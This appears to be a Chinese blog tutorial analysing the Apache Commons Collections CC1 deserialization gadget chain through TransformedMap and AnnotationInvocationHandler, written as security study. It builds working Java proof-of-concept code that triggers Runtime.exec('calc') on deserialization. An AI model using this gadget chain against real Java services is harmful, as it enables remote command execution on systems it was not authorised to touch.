Java 反序列化漏洞-Apache Commons Collections1-TransformedMap 攻击链

前言

前面已经学了一些Java反序列化漏洞的相关基础知识,今天就来学习分析一下Apache Commons Collections的反序列化漏洞

环境搭建推荐大家直接使用maven搭建,网上都有很多教程这里就不多说了

然后这里要说一点的是这个漏洞会用到一点JDK的东西,所以JDK版本还是比较关键的,JDK版本不同漏洞有可能已经被修复或者时代码有一点不同,详情可以看看我看的参考视频

漏洞挖掘

在这里插入图片描述
这是很常见的一段利用Java反射机制进行命令执行

而InvokerTransformer.class 类中的 Transformer() 方法中存在一组反射调用 , 这组反射调用是漏洞产生的根源.
在这里插入图片描述
对比一下不难看出 , 只要我们能控制 input , this.iMethodName , this.iParamTypes , this.iArgs 四个参数 , 那么就可以通过这组反射调用执行任意代码

通过观察InvokerTransformer类的构造函数 , 可以发现 this.iMethodName , this.iParamTypes , this.iArgs 三个参数都是直接可控的
在这里插入图片描述
而 input 参数是 transform() 函数调用方传入的 , 同样可控
在这里插入图片描述
接下来模仿下上面的样式构造一个简单的POC
在这里插入图片描述

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class attack {
    public static void main(String[] args) {
        Transformer transformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        transformer.transform(Runtime.getRuntime());

    }
}

虽然可以成功执行命令 , 但是这种攻击方式肯定是没有意义的 , 我们构造代码是为了在远端服务上执行 , 而并非在本地服务器上执行 . 远程服务器上肯定不会出现像 transformer.transform(Runtime.getRuntime()); 这样的代码 . 所以我们必须对上述代码做优化 , 减少反序列化后的操作 .

优化代码的第一步就是消除transform() 方法的参数限制 : Runtime.getRuntime().

由于 Runtime 类并没有继承 Serializable 接口 , 因此我们无法直接传入实例对象

所以 , 消除上述限制的最好方法就是通过 Java 反射机制来构建 java.lang.Runtime.getRuntime().exec() 方法调用链 . 由于 Runtime.class 构造函数的特殊性 , 我们在编写 Java 反射代码时至少要调用 getMethod() , getRuntime() , exec() , invoke() 四个方法 . 因此 , 一组反射是完全不够用的 , 我们必须要找到一条链 , 来拼接多组反射 , 从而实现命令执行 .

而ChainedTransformer.transform() 方法恰好符合这个要求.
在这里插入图片描述
ChainedTransformer 类的构造函数返回一个 Transformer[] 类型的数组iTransformers . 该类的 transform() 方法会循环获取iTransformers 数组中的每一项 , 调用它的 transform() 方法 , 并将返回结果作为下次循环调用的参数 .

所以 , 我们可以编写多个 InvokerTransformer 实例对象 , 分别获取 getRuntime() , invoke() , exec() 方法 , 然后将这些实例对象添加到 this.iTransformers 数组中 , 从而获得一条完整的调用链 .
在这里插入图片描述
但这样还不够,还需要一个java.lang.Runtime 实例对象

而 ConstantTransformer.transform() 方法可以满足我们的需求 .
在这里插入图片描述
我们构造一段代码看看

import org.apache.commons.collections.functors.ConstantTransformer;

public class attack {
    public static void main(String[] args) {
        ConstantTransformer transformer = new ConstantTransformer(Runtime.class);
        transformer.transform("lmonstergg");

    }
}

在这里插入图片描述
可以看到ConstantTransformer.transform() 方法恰好会返回 Runtime() 实例对象 , 因此我们只需要将 Runtime.class 传入 ConstantTransformer 的构造方法中即可 .

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;

public class attack {
    public static void main(String[] args) {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });
        chain.transform("lmonstergg");
    }
}

在这里插入图片描述
至此 , transform() 方法的参数限制已经被去除 , 此时无论 transform() 方法的参数是什么 , 都会执行 java.lang.Runtime.getRuntime().exec() 调用链 , 实现命令执行.

我们通过 java 反射机制消除了 transform() 方法的参数限制 . 但是依旧需要手动触发 transform() 方法 , 这样的场景是比较少的 .

因此现在的我们需要找到一个方法帮助我们自动调用chain.transform(“lmonstergg”),为此我们可以寻找一下其他调用了 transform()方法的类

下面介绍一下TransformedMap 类

Apache Commons Collections 实现了一个 TransformedMap 类,该类是对 Java 标准数据结构 Map 接口的一个扩展 .

该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换 , 具体的变换逻辑由Transformer 类定义,Transformer 在 TransformedMap 实例化时作为参数传入,其构造函数如下所示

在这里插入图片描述

TransformedMap.checkSetValue()

TransformedMap 类的 checkSetValue() 方法中调用了 Transform() 方法 .
在这里插入图片描述

只要我们能控制 valueTransformer , 那么就可以利用该方法执行 chain.transform(“lmonstergg”) 方法 , 进入构造好的函数调用链 .

由于 TransformedMap 类的构造方法通过 protected 修饰符修饰 , 所以无法在外界获得 TransformedMap 实例对象 . 对此 , 该类提供了 decorate() 方法来返回 TransformedMap 实例对象 , 而 decorate() 方法通过 public 修饰符修饰 , 外界可以直接调用 .
在这里插入图片描述

TransformedMap.decorate()

在这里插入图片描述

Map : 需要转换的 Map 对象
KeyTransformer : 用于转换键的转换器 , 如果为 null 则表示不进行转换
ValueTransformer : 用于转换值的转换器 , 如果为 null 则表示不进行转换

既然要调用 TransformedMap.decorate() 方法来返回 TransformedMap 实例对象 , 那么这里 ValueTransformer 就应为 chain . 此外 , 我们还需要一个 Map类型的变量 , 而获取 Map 最简单的方式就是构造一个 HashMap , 然后将该 Map 实例对象传入 decorate() 方法中.

Map<Object, Object> map = new HashMap<Object, Object>();
map.put("key","value");
Map<Object, Object> Transformedmap =TransformedMap.decorate(map,null,chain);

到这里也只是解决了TransformedMap对象的构造问题,但是还得想办法让他调用checkSetValue()方法
在这里插入图片描述

AbstractInputCheckedMapDecorator$MapEntry.setValue()

AbstractInputCheckedMapDecorator是transformedMap 的父类,它有一个静态内部类 MapEntry , 该类 setValue() 中调用了 checkSetValue() 方法.
在这里插入图片描述
我们现在的目标是调用 TransformedMap.checkSetValue() 方法,通过代码我们可以看出,只要我们让this.parent指向上面构造好的TransformedMap对象就可以,同时,this.parent 是作为参数传入的

这里得说一下Map是java中的接口,Map.Entry是Map声明的一个内部接口,此接口为泛型,定义为Entry<K,V>。它表示Map中的一个实体(一个key-value对),我们可以理解成一个键值对就是一个Entry

所以我们可以构造我们的hashmap让其去使用函数setValue,因为AbstractInputCheckedMapDecorator是transformedMap 的父类且transformedMap类中没有setValue()函数,他就会调用父类中的该函数

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

public class attack {
    public static void main(String[] args) {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });

        Map<Object, Object> map = new HashMap<Object, Object>();
        map.put("key","value");
        Map<Object, Object> Transformedmap =TransformedMap.decorate(map,null,chain);
        for (Map.Entry<Object, Object> entry : Transformedmap.entrySet()) {
            System.out.println(entry.setValue("aaa"));
        }

    }
}

到这里我们的POC还是没有完善,我们要让我们的漏洞能够自动触发,因此我们需要让找到一个重写 readObject() 方法的地方 . 该方法中会调用可控的 setValue() 方法
在这里插入图片描述

sun.reflect.annotation.AnnotationInvocationHandler

这里我们找到了sun.reflect.annotation.AnnotationInvocationHandler这个类,这里多提两句,Annotation是Java中的注解类,InvocationHandler是Java中和动态代理相关的一个类。
在这里插入图片描述
构造方法接收两个参数,第一个参数是 Annotation 实现类的 Class 对象,第二个参数是是一个 key 为 String、value 为 Object 的 Map。构造方法判断 var1 有且只有一个父接口,并且是 Annotation.class,才会将两个参数初始化在成员属性 type 和 memberValues 中。

需要注意的是,AnnotationInvocationHandler类的构造函数使用了默认修饰符 , 通过默认修饰符修饰的方法只能同包访问 , 因此这里无法直接访问 ,我们可以通过反射来获取类 , 通过 getDeclaredConstructor()方法获取构造器

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces(); //获得var1对象所实现的所有接口
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;  //Map<String, Object>
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }

构造方法判断 var1 有且只有一个父接口,并且是 Annotation.class,才会将两个参数初始化在成员属性 type 和 memberValues 中。

AnnotationInvocationHandler.readObject()

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);  //获取 type 这个注解类对应的 AnnotationType 的对象,调试后发现该注解类的所有属性会存在AnnotationType类的 memberTypes 属性中
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();   //获取其 memberTypes 属性,这个属性是个 Map
        Iterator var4 = this.memberValues.entrySet().iterator(); //获取迭代器

        while(var4.hasNext()) {   //循环遍历
            Entry var5 = (Entry)var4.next();  //获取一个map
            String var6 = (String)var5.getKey();  //取得它的key
            Class var7 = (Class)var3.get(var6);  //判断memberTypes属性是否有与this.memberValues的key相同的属性
            if (var7 != null) {
                Object var8 = var5.getValue();  //获取该值
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { //判断该对象能不能转换为memberValues 中值的类,且该对象不是ExceptionProxy类
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

遍历this.memberValues 这个 Map ,然后得到它的 Key,如果注解类的 memberTypes 属性中存在与 this.memberValues 的 key 相同的属性,并且取得的值不是 ExceptionProxy 的实例也不是 memberValues 中值的实例,则取得其值,并调用 setValue 方法写入值
在这里插入图片描述

AnnotationType

这里补充下一些关于AnnotationType类的调试
在这里插入图片描述
步入AnnotationType类的初始化函数
在这里插入图片描述
通过观察我们可以发现 memberTypes里面的值其实就是AnnotationInvocationHandler 初始化时传入的注解类的属性
在这里插入图片描述

总结下readObject函数的功能,一个 AnnotationInvocationHandler 实例,初始化时会传入一个注解类和一个 Map,执行readObject函数时这个注解类会实例化成AnnotationType的对象,注解类的所有属性会存在memberTypes里。然后readObject函数会循环遍历这个 Map 的 key ,看看有和 memberTypes 属性相同的key,如果有则看看他们的value是否相同,如果不同就调用setvalue方法。

分析到这里我觉得已经很清晰了,我们选择这个类就是为了让它调用setvalue方法,所以我们在原来POC的基础上,构造一个 AnnotationInvocationHandler 实例,初始化时传入一个注解类和一个 Map,这个 Map 的 key 中要有注解类中存在的属性,但是值不是对应的实例,也不是 ExceptionProxy 对象。完整POC如下所示

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.plugin2.message.Serializer;

import javax.annotation.Generated;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class attack {
    public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });

        Map<Object, Object> map = new HashMap<Object, Object>();
        map.put("value","111");
        // 这里 key 一定是 下面实例化 AnnotationInvocationHandler 时传入的注解类中存在的属性值
        // 并且这里的值的一定不是属性值的类型
        Map<Object, Object> transformedMap =TransformedMap.decorate(map,null,chain);
//        for (Map.Entry<Object, Object> entry : Transformedmap.entrySet()) {
//            System.out.println(entry.setValue("aaa"));
//        }

        Class<?> c= Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        Constructor<?> constructor = c.getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Generated.class, transformedMap);
        //InvocationHandler handler = (InvocationHandler) constructor.newInstance(java.lang.annotation.Target.class, transformedMap);
        //注解类选哪个都行,如Generated和Target类都行,而注解类的属性也是选哪个都可以,如Generated类的value,date,comments
        ByteArrayOutputStream exp=new ByteArrayOutputStream();
        ObjectOutputStream oos=new ObjectOutputStream(exp);
        oos.writeObject(handler);
        oos.flush();
        oos.close();
        ByteArrayInputStream out=new ByteArrayInputStream(exp.toByteArray());
        ObjectInputStream ois=new ObjectInputStream(out);
        Object obj=(Object) ois.readObject();

总结

到这里Java反序列化漏洞CC1算是分析完了,思路还是比较清晰的,先找可能产生漏洞的地方,然后利用Find usages逆着寻找函数调用地,注意关注同名函数在不同类中的调用,这和PHP的反序列化漏洞挖的时候挺像的,不同的是php反序列化漏洞要一直挖到可序列化点serailize或者phar等,而Java反序列化漏洞一般是一直挖到readobject等。

这里在额外说一点,通过setValue()利用find usages可能会找不到sun.reflect.annotation.AnnotationInvocationHandler,因为这涉及到一些源码问题,具体的解决办法可以看看下面的参考视频

参考文章

https://www.guildhab.top/2020/06/java-rmi-%e5%88%a9%e7%94%a84-%e6%9c%80%e5%9f%ba%e6%9c%ac%e7%9a%84%e4%b8%a4%e6%9d%a1-apache-commons-collections-pop-gadget-chains/
https://www.bilibili.com/video/BV1no4y1U7E1?from=search&seid=8216034167387322801&spm_id_from=333.337.0.0
https://su18.org/post/ysoserial-su18-2/#%E6%94%BB%E5%87%BB%E6%9E%84%E9%80%A0

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值